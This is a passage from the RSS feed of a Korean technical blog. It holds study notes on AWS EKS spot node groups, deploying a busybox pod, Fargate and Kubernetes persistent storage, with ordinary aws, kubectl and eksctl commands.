&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.02.40.png&quot; data-origin-width=&quot;915&quot; data-origin-height=&quot;101&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r8DG4/btsFZTk6pss/03T6N9D3fK160RGPSRcvmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r8DG4/btsFZTk6pss/03T6N9D3fK160RGPSRcvmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r8DG4/btsFZTk6pss/03T6N9D3fK160RGPSRcvmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr8DG4%2FbtsFZTk6pss%2F03T6N9D3fK160RGPSRcvmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;915&quot; height=&quot;101&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.02.40.png&quot; data-origin-width=&quot;915&quot; data-origin-height=&quot;101&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IAM 롤 맵핑을 위해 node-role 옵션에 현재 생성되어 있는 노드 그룹에 연결되어 있는 IAM 역할에서 ARN을 복사해서 입력합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711001026122&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 생성 : 아래 node-role 은 각자 자신의 노드롤 ARN을 입력하자
# role AWSServiceRoleForAmazonEKSNodegroup 테스트해보자
aws eks create-nodegroup \
  --cluster-name $CLUSTER_NAME \
  --nodegroup-name managed-spot \
  --subnets $PubSubnet1 $PubSubnet2 $PubSubnet3 \
  --node-role arn:aws:iam::856192249812:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-j7XJniFtsKYm \
  --instance-types c5.large c5d.large c5a.large \
  --capacity-type SPOT \
  --scaling-config minSize=2,maxSize=3,desiredSize=2 \
  --disk-size 20&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.04.41.png&quot; data-origin-width=&quot;2175&quot; data-origin-height=&quot;619&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GOUK4/btsFZKV6v3Y/AHWRK0Ns4jbOZB6O65Ygd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GOUK4/btsFZKV6v3Y/AHWRK0Ns4jbOZB6O65Ygd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GOUK4/btsFZKV6v3Y/AHWRK0Ns4jbOZB6O65Ygd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGOUK4%2FbtsFZKV6v3Y%2FAHWRK0Ns4jbOZB6O65Ygd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2175&quot; height=&quot;619&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.04.41.png&quot; data-origin-width=&quot;2175&quot; data-origin-height=&quot;619&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.06.18.png&quot; data-origin-width=&quot;2076&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtMnpO/btsFZHFc9T4/fcVi1skbjKcyzkSWTS7lfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtMnpO/btsFZHFc9T4/fcVi1skbjKcyzkSWTS7lfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtMnpO/btsFZHFc9T4/fcVi1skbjKcyzkSWTS7lfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdtMnpO%2FbtsFZHFc9T4%2FfcVi1skbjKcyzkSWTS7lfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2076&quot; height=&quot;342&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.06.18.png&quot; data-origin-width=&quot;2076&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 노드 그룹과 스팟 요청을 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.09.23.png&quot; data-origin-width=&quot;2064&quot; data-origin-height=&quot;925&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpcV0U/btsFWIzblBK/WXC9bbgw5jsi0Uk20AJlwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpcV0U/btsFWIzblBK/WXC9bbgw5jsi0Uk20AJlwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpcV0U/btsFWIzblBK/WXC9bbgw5jsi0Uk20AJlwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpcV0U%2FbtsFWIzblBK%2FWXC9bbgw5jsi0Uk20AJlwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2064&quot; height=&quot;925&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.09.23.png&quot; data-origin-width=&quot;2064&quot; data-origin-height=&quot;925&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711001599369&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl get nodes -L eks.amazonaws.com/capacityType,eks.amazonaws.com/nodegroup&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.10.26.png&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;141&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qKEYM/btsFZMsRxnB/PbZk8b1aagOpm8suBadEf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qKEYM/btsFZMsRxnB/PbZk8b1aagOpm8suBadEf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qKEYM/btsFZMsRxnB/PbZk8b1aagOpm8suBadEf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqKEYM%2FbtsFZMsRxnB%2FPbZk8b1aagOpm8suBadEf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1041&quot; height=&quot;141&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.10.26.png&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;141&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.11.36.png&quot; data-origin-width=&quot;869&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIZwGP/btsFXb8Ybu6/d6j2KAdEvg43Gaft1kqHT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIZwGP/btsFXb8Ybu6/d6j2KAdEvg43Gaft1kqHT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIZwGP/btsFXb8Ybu6/d6j2KAdEvg43Gaft1kqHT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIZwGP%2FbtsFXb8Ybu6%2Fd6j2KAdEvg43Gaft1kqHT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;869&quot; height=&quot;244&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.11.36.png&quot; data-origin-width=&quot;869&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.12.38.png&quot; data-origin-width=&quot;2387&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bn6xxb/btsFWLbCdOV/tagg6TeQVizVe56a2Zni5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bn6xxb/btsFWLbCdOV/tagg6TeQVizVe56a2Zni5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bn6xxb/btsFWLbCdOV/tagg6TeQVizVe56a2Zni5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbn6xxb%2FbtsFWLbCdOV%2Ftagg6TeQVizVe56a2Zni5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2387&quot; height=&quot;362&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.12.38.png&quot; data-origin-width=&quot;2387&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노드 셀렉터를 통해 Spot Instance 노드 그룹에 파드 배포를 테스트해봅니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711001634022&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat &amp;lt;&amp;lt; EOT &amp;gt; busybox.yaml
apiVersion: v1
kind: Pod
metadata:
  name: busybox
spec:
  terminationGracePeriodSeconds: 3
  containers:
  - name: busybox
    image: busybox
    command:
    - &quot;/bin/sh&quot;
    - &quot;-c&quot;
    - &quot;while true; do date &amp;gt;&amp;gt; /home/pod-out.txt; cd /home; sync; sync; sleep 10; done&quot;
  nodeSelector:
    eks.amazonaws.com/capacityType: SPOT
EOT
kubectl apply -f busybox.yaml

# 파드가 배포된 노드 정보 확인
kubectl get pod -owide

# 삭제
kubectl delete pod busybox
eksctl delete nodegroup -c $CLUSTER_NAME -n managed-spot&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.14.29.png&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;239&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wWQsd/btsFYFgV8jz/htNsZd401iGokwIrEYe3b1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wWQsd/btsFYFgV8jz/htNsZd401iGokwIrEYe3b1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wWQsd/btsFYFgV8jz/htNsZd401iGokwIrEYe3b1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwWQsd%2FbtsFYFgV8jz%2FhtNsZd401iGokwIrEYe3b1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;868&quot; height=&quot;239&quot; data-filename=&quot;스크린샷 2024-03-21 오후 3.14.29.png&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;239&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Fargate&lt;/h4&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;AWS Fargate는 Amazon Web Services(AWS)에서 제공하는 컨테이너 오케스트레이션 서비스 중 하나입니다. 이 서비스는 컨테이너 기반 애플리케이션을 실행할 때 관리 작업을 최소화하고 사용자가 애플리케이션에 집중할 수 있도록 도와줍니다. 사용자는 인프라 관리나 서버 프로비저닝에 대해 걱정하지 않고도 컨테이너를 실행할 수 있습니다. AWS Fargate는 애플리케이션에 필요한 컴퓨팅 리소스를 자동으로 관리하므로 효율적으로 자원을 활용할 수 있습니다. 이를 통해 사용자는 개발과 배포에 집중할 수 있으며 유연하고 확장 가능한 애플리케이션을 구축할 수 있습니다. &lt;i&gt;[출처 : ChatGPT]&lt;br /&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS EKS를 사용하면 쿠버네티스의 컨트롤 플레인은 AWS가 관리해주어 사용자는 데이터 플레인(워커 노드)를 관리하지만 Fargate를 사용하면 데이터 플레인까지 AWS에서 관리해줍니다.  따라서 클러스터 오토스케일러와 같은 노드 관리가 불필요하며 파드 레벨에서 VM 수준의 격리가 가능합니다. &lt;u&gt;EKS(컨트롤 플레인) + Fargate(데이터 플레인)의 완전한 서버리스화(=AWS &lt;span data-token-index=&quot;1&quot;&gt;관리형&lt;/span&gt;)&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1190&quot; data-origin-height=&quot;646&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z53PJ/btsFYnU9VEV/wvgTp2fx7xR827jMuXGT50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z53PJ/btsFYnU9VEV/wvgTp2fx7xR827jMuXGT50/img.png&quot; data-alt=&quot;출처 : https://www.eksworkshop.com/docs/fundamentals/fargate/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z53PJ/btsFYnU9VEV/wvgTp2fx7xR827jMuXGT50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz53PJ%2FbtsFYnU9VEV%2FwvgTp2fx7xR827jMuXGT50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1190&quot; height=&quot;646&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1190&quot; data-origin-height=&quot;646&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 : https://www.eksworkshop.com/docs/fundamentals/fargate/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파게이트 프로파일(&lt;b&gt;프라이빗 서브넷&lt;/b&gt;, 네임스페이스, 레이블 조건)을 생성하여 지정한 파드가 파게이트에서 동작하게 합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/emNOgY/btsFZMzDiDu/FJrKeLKZMlx9mYACZB1xq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/emNOgY/btsFZMzDiDu/FJrKeLKZMlx9mYACZB1xq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/emNOgY/btsFZMzDiDu/FJrKeLKZMlx9mYACZB1xq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FemNOgY%2FbtsFZMzDiDu%2FFJrKeLKZMlx9mYACZB1xq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;960&quot; height=&quot;554&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EKS는 스케줄러가 특정 조건을 기준으로 어느 노드에 파드를 동작시킬지 결정합니다. 혹은 특정 설정을 통해 특정 노드에 파드를 동작시키는 것도 가능합니다. Fargate는 한 개의 VM에 한 개의 컨테이너를 생성합니다. 즉,&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt; Fargate Node의 IP와 Pod의 IP가 1:1로 매칭됩니다. AWS에서는&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;EC2와 Fargate를 혼합하여 클러스터를 구성할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;588&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DbJ9A/btsFXZfUjS6/KPq0fVAAMVY8UBPEWbQ9ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DbJ9A/btsFXZfUjS6/KPq0fVAAMVY8UBPEWbQ9ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DbJ9A/btsFXZfUjS6/KPq0fVAAMVY8UBPEWbQ9ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDbJ9A%2FbtsFXZfUjS6%2FKPq0fVAAMVY8UBPEWbQ9ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;968&quot; height=&quot;588&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;588&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/8</guid>
      <comments>https://imxsuu.tistory.com/8#entry8comment</comments>
      <pubDate>Wed, 20 Mar 2024 17:53:01 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] Storage</title>
      <link>https://imxsuu.tistory.com/7</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;스토리지 이해&lt;/h4&gt;
&lt;figure id=&quot;og_1710758520250&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Kubernetes를 위한 영구 스토리지 적용하기 | Amazon Web Services&quot; data-og-description=&quot;이 글은 AWS Storage Blog에 게시된 Persistent storage for Kubernetes by Suman Debnath, Daniel Rubinstein, Anjani Reddy, and Narayana Vemburaj을 한국어 번역 및 편집하였습니다. 상태 저장 애플리케이션이 올바르게 실행되기&quot; data-og-host=&quot;aws.amazon.com&quot; data-og-source-url=&quot;https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/&quot; data-og-url=&quot;https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/ZjQqz/hyVAAq6qRX/XMS0HdY4UeQOIqVSu6KyK1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/hIoC1/hyVAIWXtPz/QwI01iUSwE9QThkPYKoxwk/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/S4wVh/hyVALlQfwR/JqK1nfJXpkj89mU5JliyAK/img.jpg?width=943&amp;amp;height=943&amp;amp;face=0_0_943_943&quot;&gt;&lt;a href=&quot;https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/ZjQqz/hyVAAq6qRX/XMS0HdY4UeQOIqVSu6KyK1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/hIoC1/hyVAIWXtPz/QwI01iUSwE9QThkPYKoxwk/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/S4wVh/hyVALlQfwR/JqK1nfJXpkj89mU5JliyAK/img.jpg?width=943&amp;amp;height=943&amp;amp;face=0_0_943_943');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Kubernetes를 위한 영구 스토리지 적용하기 | Amazon Web Services&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 AWS Storage Blog에 게시된 Persistent storage for Kubernetes by Suman Debnath, Daniel Rubinstein, Anjani Reddy, and Narayana Vemburaj을 한국어 번역 및 편집하였습니다. 상태 저장 애플리케이션이 올바르게 실행되기&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;aws.amazon.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;파드 내부의 데이터는 파드가 정지되면 모두 삭제됩니다. 즉, 파드는 모두 상태가 없는(Stateless) 애플리케이션입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bS9sai/btsFU50iIzP/ao8Kb0klPhKd68mr24DS11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bS9sai/btsFU50iIzP/ao8Kb0klPhKd68mr24DS11/img.png&quot; data-alt=&quot;출처 : https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bS9sai/btsFU50iIzP/ao8Kb0klPhKd68mr24DS11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbS9sai%2FbtsFU50iIzP%2Fao8Kb0klPhKd68mr24DS11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;424&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 : https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파드도 데이터베이스처럼 &lt;span data-token-index=&quot;1&quot;&gt;데이터 보존이 필요한 경우를 위해 NFS, &lt;b&gt;&lt;span data-token-index=&quot;1&quot;&gt;AWS EBS&lt;/span&gt;&lt;/b&gt;, Ceph와 같은 영구 볼륨을 지원하게 되었고 &lt;/span&gt;PV(Persistent Volumes)와 PVC(Persistent Volumes Claim)를 이용하여 &lt;span style=&quot;color: #333333;&quot;&gt;어느 노드에서도 연결하여 사용 가능합니다. &amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;img style=&quot;text-align: center; caret-color: transparent; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot; src=&quot;https://blog.kakaocdn.net/dn/b1Ttbk/btsFUjLBd44/VzSPWcGSw8erLch1U6SVI0/img.png&quot; width=&quot;877&quot; height=&quot;410&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;441&quot; data-filename=&quot;Untitled.png&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파드가 생성될 때 자동으로 볼륨을 마운트하여 파드에 연결하는 기능을 &lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;동적 프로비저닝(Dynamic Provisioning)&lt;/b&gt;이라고 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0RfH9/btsFUcMtFNl/ZQU5C7B90Ds75nI6DY8v21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0RfH9/btsFUcMtFNl/ZQU5C7B90Ds75nI6DY8v21/img.png&quot; data-alt=&quot;출처 : https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0RfH9/btsFUcMtFNl/ZQU5C7B90Ds75nI6DY8v21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0RfH9%2FbtsFUcMtFNl%2FZQU5C7B90Ds75nI6DY8v21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; 